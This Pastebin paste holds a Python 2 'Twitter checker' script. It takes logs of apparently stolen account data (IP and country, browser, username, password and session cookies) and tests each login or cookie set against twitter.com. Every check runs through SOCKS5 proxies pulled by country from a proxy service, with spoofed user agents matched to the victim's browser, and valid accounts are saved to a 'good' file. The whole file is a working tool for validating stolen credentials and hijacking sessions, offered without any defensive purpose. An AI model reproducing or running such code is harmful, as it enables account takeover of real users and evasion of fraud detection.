Advertisement
Guest User

twitter

a guest
Feb 12th, 2019
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.00 KB | None | 0 0
  1. cat /opt/twitter-checker/main.py
  2. import sys
  3. import re
  4. import time
  5. import threading
  6. import Queue
  7. import datetime
  8. import random
  9. import traceback
  10.  
  11. import grab
  12. import grab.error
  13. import pycurl
  14.  
  15.  
  16. PARSE_TOKEN_PATTERN = 'value="([^"]+)"\s+name="authenticity_token"'
  17.  
  18. RESULT_MISSING_TOKEN = -1
  19. RESULT_UNKNOW_ERROR = -2
  20. RESULT_VALID = 1
  21. RESULT_INVALID = -3
  22.  
  23. AUTH_TYPE_COOKIES = 4
  24. AUTH_TYPE_LOGIN_PSSWD = 5
  25.  
  26. DEFAULT_MAX_CHECK_ATTEMPTS = 40
  27. DEFAULT_SOCKS_LOAD_ATTEMTPS = 10
  28.  
  29. LOG_TIME_FORMAT = '%Y-%m-%d %H:%I:%S'
  30. SOCKS_LIST_LIFE_TIME = 30
  31.  
  32. SOCKS_TEMPLATE = 'http://nosok.org/export?id=8a767c59&type=1&format=proxy&countries={CC}'
  33. DEFAULT_GOOD_ACCOUNT_PATH = 'good.txt'
  34.  
  35. DEFAULT_TIMEOUT = 10
  36.  
  37. ACCOUNT_LIST_SEPARATOR = '=====================================================\n'
  38. BROWSER_MAP = {
  39. 'GoogleChrome': [
  40. ('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
  41. ' AppleWebKit/537.36 (KHTML, like Gecko)'
  42. ' Chrome/70.0.3538.102 Safari/537.36'),
  43. ('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
  44. ' AppleWebKit/537.36 (KHTML, like Gecko)'
  45. ' Chrome/71.0.3578.98 Safari/537.36')
  46. ],
  47. 'MozillaFireFox': [
  48. ('Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)'
  49. ' Gecko/20100101 Firefox/64.0'),
  50. ('Mozilla/5.0 (Windows NT 6.3; Win64;'
  51. ' x64; rv:63.0) Gecko/20100101 '
  52. 'Firefox/63.0'),
  53. ],
  54.  
  55. 'Opera': [
  56. ('Mozilla/5.0 (Windows NT 10.0; WOW64)'
  57. ' AppleWebKit/537.36 (KHTML, like Gecko)'
  58. ' Chrome/69.0.3497.100 Safari/537.36'
  59. ' OPR/56.0.3051.52'),
  60. ('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
  61. ' AppleWebKit/537.36 (KHTML, like Gecko)'
  62. ' Chrome/67.0.3396.87 Safari/537.36'
  63. ' OPR/54.0.2952.71')
  64. ],
  65.  
  66. 'MicrosoftEdge': [
  67. ('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
  68. ' AppleWebKit/605.1.15 (KHTML, like Gecko)'
  69. ' Chrome/71.0.3578.98 Safari/605.1 Edge/19.17763'),
  70. ('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
  71. ' AppleWebKit/537.36 (KHTML, like Gecko)'
  72. ' Chrome/64.0.3282.140 Safari/537.36 Edge/18.18298')
  73.  
  74. ]
  75. }
  76.  
  77.  
  78. class GGRab(grab.Grab):
  79. def prepare_request(self, **kwargs):
  80. super(GGRab, self).prepare_request(**kwargs)
  81. self.transport.curl.setopt(pycurl.FORBID_REUSE, True)
  82.  
  83. class EmptyProxyList(Exception):
  84. """docstring for ClassName"""
  85. pass
  86.  
  87.  
  88. def check(httpClient, **kwargs):
  89. if 'cookies' in kwargs:
  90. for cookie in kwargs['cookies']:
  91. d = cookie['domain']
  92. n = cookie['name']
  93. v = cookie['value']
  94. del cookie['domain']
  95. del cookie['name']
  96. del cookie['value']
  97. httpClient.cookies.set(n,
  98. v,
  99. d,
  100. **cookie)
  101.  
  102.  
  103. httpClient.go('https://twitter.com/')
  104.  
  105.  
  106. if 'cookies' in kwargs:
  107. if 'Log out' in httpClient.doc.body:
  108. return RESULT_VALID
  109. elif 'session[password]' in httpClient.doc.body:
  110. return RESULT_INVALID
  111. else:
  112. return RESULT_UNKNOW_ERROR
  113. elif 'login' in kwargs and 'password' in kwargs:
  114. time.sleep(1)
  115.  
  116. httpClient.go('/login')
  117. match = re.search(PARSE_TOKEN_PATTERN,
  118. httpClient.doc.body)
  119. if match is None:
  120. return RESULT_MISSING_TOKEN
  121.  
  122. time.sleep(2)
  123.  
  124. postData = {
  125. 'authenticity_token':match.group(1),
  126. 'redirect_after_login':'',
  127. 'remember_me': '1',
  128. 'scribe_log': '',
  129. 'session[password]': kwargs['password'],
  130. 'session[username_or_email]':kwargs['login'],
  131. 'ui_metrics': '',
  132. }
  133.  
  134. httpClient.go('/sessions',post=postData,
  135. follow_location=False)
  136.  
  137.  
  138.  
  139. if httpClient.doc.code == 302:
  140. location = httpClient.doc.headers['location']
  141. if location == 'https://twitter.com/':
  142. return RESULT_VALID
  143. elif 'error' in location:
  144. return RESULT_INVALID
  145. else:
  146. return RESULT_UNKNOW_ERROR
  147. else:
  148. return RESULT_UNKNOW_ERROR
  149. else:
  150. raise ValueError("You must pass cookies"
  151. " arg or login and "
  152. "password argument")
  153.  
  154.  
  155.  
  156.  
  157. class CheckThread(threading.Thread):
  158. """docstring for ClassName"""
  159. _queue = None
  160. _okFile = None
  161. _stopEvent = threading.Event()
  162. _errorLogLock = threading.RLock()
  163. _socksLock = threading.RLock()
  164. _okLock = threading.RLock()
  165. _okCountLock = threading.RLock()
  166. _badCountLock = threading.RLock()
  167. _socksMap = {}
  168. _okCount = 0
  169. _badCount = 0
  170. def __init__(self, okFile, queue,maxLoadsocksAttempts,
  171. maxCheckAttemtps,timeout,**kwargs):
  172. super(CheckThread, self).__init__(**kwargs)
  173. self._okFile = okFile
  174. self._queue = queue
  175. self._socksHttpClient = grab.Grab()
  176. self._maxLoadsocksAttempts = maxLoadsocksAttempts
  177. self._maxCheckAttemtps = maxCheckAttemtps
  178. self._timeout = timeout
  179.  
  180.  
  181. def logError(self, msg):
  182. logStr = ("[%s at %s] - %s"
  183. % (self.name,
  184. datetime.datetime.now().strftime(LOG_TIME_FORMAT),
  185. msg))
  186. with self._errorLogLock:
  187. try:
  188. with open('errors.txt', "a") as err_f:
  189. err_f.write("%s\n\n\n" % logStr)
  190. except IOError as e:
  191. print ("Write log str error(%s)"
  192. %
  193. logStr)
  194.  
  195. def getUserAgent(self, browserName):
  196. return random.choice(BROWSER_MAP.get(browserName,
  197. BROWSER_MAP['GoogleChrome']))
  198.  
  199. def loadSock(self, geo):
  200. socksLoaded = False
  201. for attemtpNum in range(self._maxLoadsocksAttempts):
  202.  
  203. try:
  204. self._socksHttpClient.go(SOCKS_TEMPLATE.format(CC=geo))
  205. socksLoaded = True
  206. break
  207. except grab.error.GrabError as e:
  208. self.logError('Load socks error: %s' % str(e))
  209. if attemtpNum == self._maxLoadsocksAttempts - 1:
  210. self.stop()
  211.  
  212. if socksLoaded:
  213. if not self._socksHttpClient.doc.body:
  214. raise EmptyProxyList("Empty proxy list")
  215. socksList = [s for s in self._socksHttpClient.doc.body.split('\n') if s]
  216. self._socksMap[geo] = (socksList,
  217. time.time())
  218. return socksLoaded
  219.  
  220.  
  221.  
  222. def getSocks(self, geo):
  223. with self._socksLock:
  224. if (not geo in self._socksMap or
  225. time.time() - self._socksMap[geo][1] > SOCKS_LIST_LIFE_TIME):
  226. if not self.loadSock(geo):
  227. return False
  228. return random.choice(self._socksMap.get(geo)[0])
  229.  
  230.  
  231.  
  232. def run(self):
  233.  
  234. while True:
  235.  
  236. try:
  237.  
  238. try:
  239. (authData, geo,
  240. agent, raw_acc) = self._queue.get(True, 5)
  241. except Queue.Empty as e:
  242. break
  243.  
  244. if self._stopEvent.isSet():
  245. break
  246.  
  247.  
  248. try:
  249. proxy = self.getSocks(geo)
  250. except EmptyProxyList as e:
  251. self.logError ("[-]Skip account without proxy: %s"
  252. % raw_acc)
  253. continue
  254.  
  255.  
  256. if not proxy:
  257. break
  258.  
  259.  
  260. httpClient = GGRab()
  261. httpClient.setup(user_agent=self.getUserAgent(agent),
  262. proxy=proxy,
  263. proxy_type="socks5",
  264. timeout=self._timeout,
  265. connect_timeout=self._timeout)
  266.  
  267. result = None
  268. if not authData[0] is None:
  269.  
  270. for attemtp_num in range(self._maxCheckAttemtps):
  271. if self._stopEvent.isSet():
  272. break
  273.  
  274. try:
  275. result = check(httpClient,
  276. login=authData[0][0],
  277. password=authData[0][1])
  278. break
  279. except grab.error.GrabError as e:
  280. httpClient.cookies.clear()
  281. httpClient.setup(user_agent=self.getUserAgent(agent),
  282. proxy=self.getSocks(geo),proxy_type="socks5",
  283. timeout=self._timeout,
  284. connect_timeout=self._timeout)
  285. self.logError("Check account %s error: %s Proxy: %s"
  286. % ( authData, str(e), proxy))
  287.  
  288. if attemtp_num == self._maxCheckAttemtps -1:
  289. self.logError("Max check attempts "
  290. "exchausted")
  291. self.stop()
  292. break
  293. try:
  294. proxy = self.getSocks(geo)
  295. except EmptyProxyList as e:
  296. self.logError ("[-]Skip account without proxy: %s"
  297. % raw_acc)
  298. result == RESULT_INVALID
  299. break
  300.  
  301. if self._stopEvent.isSet():
  302. break
  303.  
  304. if result == RESULT_VALID:
  305. self.saveOkAccount(raw_acc)
  306. else:
  307. if authData[1] is None:
  308. with self._badCountLock:
  309. self.__class__._badCount += 1
  310. else:
  311. for attemtp_num in range(self._maxCheckAttemtps):
  312. if self._stopEvent.isSet():
  313. break
  314.  
  315. try:
  316. result = check(httpClient,cookies=authData[1])
  317. break
  318. except KeyError:
  319. result = RESULT_INVALID
  320. break
  321. except grab.error.GrabConnectionError as e:
  322. httpClient.cookies.clear()
  323. httpClient.setup(user_agent=self.getUserAgent(agent),
  324. proxy=self.getSocks(geo),proxy_type="socks5",
  325. timeout=self._timeout,
  326. connect_timeout=self._timeout)
  327. self.logError("Check account %s error: %s change proxy..."
  328. % ( authData,
  329. str(e)))
  330. except grab.error.GrabError as e:
  331. self.logError("Check account %s error: %s Proxy: %s"
  332. % ( authData,
  333. str(e), proxy))
  334.  
  335. if attemtp_num == self._maxCheckAttemtps -1:
  336. self.logError("Max check attempts "
  337. "exchausted")
  338. self.stop()
  339. break
  340.  
  341. if result == RESULT_VALID:
  342. self.saveOkAccount(raw_acc)
  343. else:
  344. with self._badCountLock:
  345. self.__class__._badCount += 1
  346.  
  347.  
  348.  
  349. try:
  350. self._queue.task_done()
  351. except ValueError as e:
  352. #logError('ValueError in thread: %s' % str(e))
  353. pass
  354. except Exception as e:
  355. self.logError("Unexcepted exception: %s\nTraceback:\n%s"
  356. % (str(e),traceback.format_exc()))
  357. break
  358. self.logError('Thread %s finished work' % self.name)
  359.  
  360. def stop(self):
  361. self._stopEvent.set()
  362. self.logError("Stop event received")
  363. while True:
  364. try:
  365. self._queue.task_done()
  366. except ValueError as e:
  367. break
  368.  
  369.  
  370. @classmethod
  371. def getOkCount(cls):
  372. with cls._okCountLock:
  373. return cls._okCount
  374.  
  375. @classmethod
  376. def getBadCount(cls):
  377. with cls._badCountLock:
  378. return cls._badCount
  379.  
  380.  
  381. def saveOkAccount(self, raw_acc):
  382. with self._okCountLock:
  383. self.__class__._okCount += 1
  384.  
  385. try:
  386. with self._okLock:
  387. self._okFile.write("".join(
  388. [ACCOUNT_LIST_SEPARATOR,
  389. raw_acc,
  390. ACCOUNT_LIST_SEPARATOR
  391. ]))
  392. except IOError as e:
  393. print("Save ok account: %s \nerror: %s"
  394. % raw_acc, e.strerror)
  395.  
  396.  
  397. class IntTypeWithRange(object):
  398. """docstring for ClassName"""
  399. def __init__(self, min_, max_):
  400. self.min = min_
  401. self.max = max_
  402.  
  403.  
  404. def __call__(self, val):
  405. try:
  406. intVal = int(val)
  407. except ValueError as e:
  408. raise argparse.ArgumentTypeError("Argument must be correct number")
  409. else:
  410. if intVal > self.max:
  411. raise argparse.ArgumentTypeError("Argument "
  412. "must be less then %i" % self.max)
  413. elif intVal < self.min:
  414. raise argparse.ArgumentTypeError("Argument "
  415. "must be more then %i" % self.min)
  416. return intVal
  417.  
  418.  
  419. def waitThreadsFinish(threadList, threadCount):
  420. print("[*]Wait all threads finish")
  421. sleepTime = threadCount * 5
  422. print("[*]Wait %i second threads" % sleepTime)
  423. for i in range(sleepTime):
  424. time.sleep(1)
  425. for x in range(len(threadList)):
  426. if x >= len(threadList):
  427. break
  428.  
  429. thread = threadList[x]
  430. if not thread.is_alive():
  431.  
  432. threadList.pop(x)
  433.  
  434. if not threadList:
  435. break
  436.  
  437. if __name__ == '__main__':
  438. import argparse
  439.  
  440. argParser = argparse.ArgumentParser(description="Twitter checker")
  441. argParser.add_argument('account_file', metavar='account '
  442. 'list path',
  443. type=argparse.FileType('r'))
  444. argParser.add_argument('thread_count', metavar='thread '
  445. 'count',
  446. type=IntTypeWithRange(1,10000))
  447. argParser.add_argument('-m',
  448. metavar='attempts number',
  449. help='max load socks'
  450. ' list attempts count',
  451. default=DEFAULT_SOCKS_LOAD_ATTEMTPS,
  452. type=IntTypeWithRange(1,1000))
  453. argParser.add_argument('-g', type=argparse.FileType('w'),
  454. metavar="path",
  455. help="Path to file where good"
  456. " accounts will be saved",
  457. default=DEFAULT_GOOD_ACCOUNT_PATH)
  458. argParser.add_argument('-c', type=IntTypeWithRange(1,1000),
  459. metavar='attempts number',
  460. help='max attempts number to check'
  461. 'accoount',
  462. default=DEFAULT_MAX_CHECK_ATTEMPTS)
  463. argParser.add_argument('-t', type=IntTypeWithRange(1,1000),
  464. metavar='timeout',
  465. help='network operation timeout in seconds',
  466. default=DEFAULT_MAX_CHECK_ATTEMPTS)
  467.  
  468. args = argParser.parse_args()
  469.  
  470. accountsData = args.account_file.read().split(ACCOUNT_LIST_SEPARATOR)
  471.  
  472. accountsQueue = Queue.Queue()
  473. loadedAccounts = []
  474.  
  475. for account in accountsData[1:-1]:
  476.  
  477. accountInfo = account.strip().split('\n')
  478. if len(accountInfo) < 5:
  479. print ("Skip account with invalid lines count: %s"
  480. % account)
  481. continue
  482.  
  483. try:
  484.  
  485. ip, geo = accountInfo[0].split(':')
  486. except ValueError as e:
  487. print ("Skip account with mailformed geo info: %s"
  488. % account)
  489. continue
  490.  
  491. if not accountInfo[1].startswith('SOFT:\t\t'):
  492. print ("Skip account with mailformed browser name: %s"
  493. % account)
  494. continue
  495.  
  496.  
  497. browser = accountInfo[1].rstrip('SOFT:\t\t')
  498. if not browser:
  499. print ("Skip account empty browser: %s"
  500. % account)
  501. continue
  502.  
  503. if not accountInfo[3].startswith('USER:\t\t'):
  504. print repr(accountInfo)
  505. print ("Skip account with mailformed user: %s"
  506. % account)
  507. continue
  508.  
  509. if not accountInfo[4].startswith('PASS:\t\t'):
  510. print ("Skip account with mailformed psswd: %s"
  511. % account)
  512. continue
  513.  
  514. user = accountInfo[3][7:]
  515. psswd = accountInfo[4][7:]
  516.  
  517.  
  518. if not user or not psswd:
  519. loginPsswd = None
  520. else:
  521. loginPsswd = (user,psswd)
  522. if ("%s:%s" % loginPsswd) in loadedAccounts:
  523. continue
  524. loadedAccounts.append("%s:%s" % loginPsswd)
  525.  
  526. rawCookies = accountInfo[5:]
  527. if not rawCookies and loginPsswd is None:
  528. print ("Skip account without loginpsswd and cookies: %s"
  529. % account)
  530. continue
  531.  
  532. cookies = []
  533. for cookieStr in rawCookies:
  534. try:
  535. (domain, flag, path,
  536. secure, expire,
  537. name,value) = cookieStr.split('\t')
  538. except ValueError as e:
  539. print ("Skip account mailformed cookies: %s"
  540. % account)
  541. continue
  542.  
  543.  
  544. cookies.append({
  545. 'domain': domain,
  546. 'path': path,
  547. 'secure': True if secure == 'TRUE' else False,
  548. 'expires': expire,
  549. 'name': name,
  550. 'value': value
  551. })
  552.  
  553.  
  554.  
  555. accountsQueue.put((
  556. (
  557. (loginPsswd,cookies if cookies else None),
  558. geo,
  559. browser,
  560. account
  561. )
  562. ))
  563.  
  564.  
  565. print ("[+]Successfully load %i unique accounts"
  566. % accountsQueue.qsize())
  567.  
  568. if not loadedAccounts:
  569. print "Empty account list"
  570. sys.exit(1)
  571.  
  572. threads = []
  573. try:
  574. for threadNum in range(args.thread_count):
  575. threads.append(CheckThread(args.g, accountsQueue,
  576. args.m, args.c,
  577. args.t))
  578. threads[-1].start()
  579. while not accountsQueue.empty():
  580. sys.stdout.write('\rGood: %i Bad: %i'
  581. % (CheckThread.getOkCount(), CheckThread.getBadCount()))
  582. sys.stdout.flush()
  583. time.sleep(0.5)
  584.  
  585. accountsQueue.join()
  586. waitThreadsFinish(threads, args.thread_count)
  587. except KeyboardInterrupt as e:
  588. if threads:
  589. threads[0].stop()
  590. print "CTRL+C press.. Stopping threads"
  591. waitThreadsFinish(threads, args.thread_count)
  592. finally:
  593. print ('\rGood: %i Bad: %i'
  594. % (CheckThread.getOkCount(),
  595. CheckThread.getBadCount()))
  596. args.g.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement